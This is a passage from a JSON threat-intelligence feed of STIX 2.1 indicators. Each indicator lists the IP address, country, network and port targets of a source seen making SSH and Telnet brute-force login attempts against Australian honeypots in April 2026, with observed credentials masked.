      "valid_from": "2026-04-02T19:15:10.000Z",
      "valid_until": "2026-05-04T19:15:09.000Z"
    },
    {
      "created": "2026-04-02T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--a987ada5-7c7f-452d-834f-f18038cb829a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.215.69.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T19:15:10.000Z",
      "valid_until": "2026-05-04T19:15:09.000Z"
    },
    {
      "created": "2026-04-02T20:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******f, 1********T, 3***********4, 3**********4, A*******c.",
      "id": "indicator--271d58fb-393d-4db8-8a71-6435018ff0a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T20:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.188.47.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T20:15:16.000Z",
      "valid_until": "2026-05-04T20:15:08.000Z"
    },
    {
      "created": "2026-04-02T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 212. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****a, F**********6, P***********5.",
      "id": "indicator--4b8066b1-525d-4c71-bb50-f76067dc2157",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.226.138.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T21:15:10.000Z",
      "valid_until": "2026-05-04T21:15:08.000Z"
    },
    {
      "created": "2026-04-02T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): @********n.",
      "id": "indicator--b713f10d-9a18-4f34-9014-6882fe1f604f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '106.13.22.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T21:15:10.000Z",
      "valid_until": "2026-05-04T21:15:08.000Z"
    },
    {
      "created": "2026-04-02T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 218. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 38700. Organisation(s): SMILESERV. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**2, 1*********#, D*********5.",
      "id": "indicator--badb058b-6605-418a-a1eb-1484d237bf88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.68.208.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T21:15:10.000Z",
      "valid_until": "2026-05-04T21:15:08.000Z"
    },
    {
      "created": "2026-04-02T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--827fb350-4876-4955-99b4-d185fe3557ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.1.107.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T21:15:10.000Z",
      "valid_until": "2026-05-04T21:15:08.000Z"
    },
    {
      "created": "2026-04-02T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc.",
      "id": "indicator--8471d61c-a477-4c16-b765-e585754235c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.250.213.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T21:15:10.000Z",
      "valid_until": "2026-05-04T21:15:08.000Z"
    },
    {
      "created": "2026-04-02T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--a379b40b-faac-4c4f-9d66-50cfb32f4dd0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T21:15:10.000Z",
      "valid_until": "2026-05-04T21:15:08.000Z"
    },
    {
      "created": "2026-04-02T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--fe9db862-f509-4761-89e3-48e0151145be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.229.182.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T22:15:11.000Z",
      "valid_until": "2026-05-04T22:15:08.000Z"
    },
    {
      "created": "2026-04-02T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): m*****a.",
      "id": "indicator--2141fba3-dc20-4de2-9f76-db056369e9c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T22:15:11.000Z",
      "valid_until": "2026-05-04T22:15:08.000Z"
    },
    {
      "created": "2026-04-02T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 4800. Organisation(s): PT Aplikanusa Lintasarta. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--678eb801-6aa4-4ae5-9d2e-dc4334ef2253",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.23.36.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T22:15:11.000Z",
      "valid_until": "2026-05-04T22:15:08.000Z"
    },
    {
      "created": "2026-04-02T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3b91acea-20ae-4ef5-8449-b423c2a225fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T22:15:11.000Z",
      "valid_until": "2026-05-04T22:15:08.000Z"
    },
    {
      "created": "2026-04-02T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 212. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******., 1******c, 1*******X.",
      "id": "indicator--8638599f-ce66-4f4d-814a-ab18015838a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.171.85.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T23:15:22.000Z",
      "valid_until": "2026-05-04T23:15:09.000Z"
    },
    {
      "created": "2026-04-02T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******., 1******c, 1*******X, 3***********4, 3**********4.",
      "id": "indicator--09925ea5-99ef-481e-8027-3faa14261450",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.189.235.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T23:15:22.000Z",
      "valid_until": "2026-05-04T23:15:09.000Z"
    },
    {
      "created": "2026-04-02T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******r, 2******0, 3***********4, 3**********4, A********5.",
      "id": "indicator--622fa626-3e35-4b9c-9800-d89a20283068",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '13.81.183.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T23:15:22.000Z",
      "valid_until": "2026-05-04T23:15:09.000Z"
    },
    {
      "created": "2026-04-02T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******r, 3***********4, 3**********4, 4**8, J*********5.",
      "id": "indicator--916e8874-8725-47d2-8640-cb27ffd0f3bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T23:15:22.000Z",
      "valid_until": "2026-05-04T23:15:09.000Z"
    },
    {
      "created": "2026-04-02T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 47. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u****u, ***, e******m, n**e, ***. Passwords observed (masked): ***, e******m, n**e, r**t, ***.",
      "id": "indicator--36fdcdc7-4cd4-40e6-aa23-40da1b2000fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.245.169.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T23:15:22.000Z",
      "valid_until": "2026-05-04T23:15:09.000Z"
    },
    {
      "created": "2026-04-02T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*******5, 3***********4, 3**********4, A*******L, E********e.",
      "id": "indicator--f612eec1-3fa0-4710-9769-aac7d5290bc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.212.40.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T23:15:22.000Z",
      "valid_until": "2026-05-04T23:15:09.000Z"
    },
    {
      "created": "2026-04-02T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Heralding. Target ports: 5900. Source country: UA. ASN(s): 208949. Organisation(s): Hbing Limited. Passwords observed (masked): p******d, 1******8, 1****1, 1****3, 1****6.",
      "id": "indicator--1bcc3664-41d9-42a6-b60e-e69f6e87d993",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.211.191.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T23:15:22.000Z",
      "valid_until": "2026-05-04T23:15:09.000Z"
    },
    {
      "created": "2026-04-02T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--13036bb5-7a61-4c9c-87d3-b8669af138cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T23:15:22.000Z",
      "valid_until": "2026-05-04T23:15:09.000Z"
    },
    {
      "created": "2026-04-02T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0**6, 1**@, 3***********4, 3**********4, 4***f.",
      "id": "indicator--975c57cb-1ab9-42c6-9845-226a1f253f6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.251.245.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T23:15:22.000Z",
      "valid_until": "2026-05-04T23:15:09.000Z"
    },
    {
      "created": "2026-04-02T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 62. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 23724. Organisation(s): IDC, China Telecommunications Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 0**6, 1******W, 1**@, 2**6, P**********6.",
      "id": "indicator--220cfdac-91d1-4426-80fd-9020c92327fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.112.133.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T23:15:22.000Z",
      "valid_until": "2026-05-04T23:15:09.000Z"
    },
    {
      "created": "2026-04-02T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 9658. Organisation(s): Eastern Telecoms Phils., Inc.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******W, 1**@, 2**6, 3***********4, 3**********4.",
      "id": "indicator--2f480540-2872-4204-9337-bed60bfcb70f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.28.144.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T23:15:22.000Z",
      "valid_until": "2026-05-04T23:15:09.000Z"
    },
    {
      "created": "2026-04-02T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--5760287e-8c33-40ef-926e-363fc00ff2c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.134.239.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T23:15:22.000Z",
      "valid_until": "2026-05-04T23:15:09.000Z"
    },
    {
      "created": "2026-04-02T23:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--883e296e-a8ff-4592-8f0a-60c4bece07ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.222.172.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T23:15:22.000Z",
      "valid_until": "2026-05-04T23:15:09.000Z"
    },
    {
      "created": "2026-04-02T23:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--240847ab-a303-4e4f-98e6-0e3e2906afe5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-02T23:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.167.225.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T23:15:22.000Z",
      "valid_until": "2026-05-04T23:15:09.000Z"
    },
    {
      "created": "2026-04-03T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********b, 3***********4, 3**********4, O*******!, T*******9.",
      "id": "indicator--0e7986c6-9b80-4a84-83c2-291721114045",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.154.62.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T00:15:11.000Z",
      "valid_until": "2026-05-05T00:15:09.000Z"
    },
    {
      "created": "2026-04-03T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142647. Organisation(s): Nasstec Airnet Networks Private Limited.",
      "id": "indicator--c396e077-9803-4e8e-80e2-92785bfb6858",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.173.7.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T00:15:11.000Z",
      "valid_until": "2026-05-05T00:15:09.000Z"
    },
    {
      "created": "2026-04-03T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******5, 3***********4, 3**********4, 4*******d, 9******p.",
      "id": "indicator--d0dc66df-1c8a-4364-b2cc-1132ef92de67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.185.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T00:15:11.000Z",
      "valid_until": "2026-05-05T00:15:09.000Z"
    },
    {
      "created": "2026-04-03T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 401696. Organisation(s): cognetcloud INC. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d, r**t.",
      "id": "indicator--5907f969-c9a7-4c9b-a399-3863cbb401c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.12.90.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T00:15:11.000Z",
      "valid_until": "2026-05-05T00:15:09.000Z"
    },
    {
      "created": "2026-04-03T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 224. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 48096. Organisation(s): Enterprise Cloud Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**********b, F********3, G*************4.",
      "id": "indicator--b88b2e92-e71f-4188-99a1-0d33e496c774",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.233.3.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T00:15:11.000Z",
      "valid_until": "2026-05-05T00:15:09.000Z"
    },
    {
      "created": "2026-04-03T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--561c6561-7317-43d9-9c9c-2f26ac2e24dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.251.132.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T00:15:11.000Z",
      "valid_until": "2026-05-05T00:15:09.000Z"
    },
    {
      "created": "2026-04-03T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8df3b778-006d-4e8b-9214-c21ff5abaf1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T00:15:11.000Z",
      "valid_until": "2026-05-05T00:15:09.000Z"
    },
    {
      "created": "2026-04-03T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--63563ca8-48da-4d26-ac31-42185e8d58bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T00:15:11.000Z",
      "valid_until": "2026-05-05T00:15:09.000Z"
    },
    {
      "created": "2026-04-03T00:15:11.000Z",
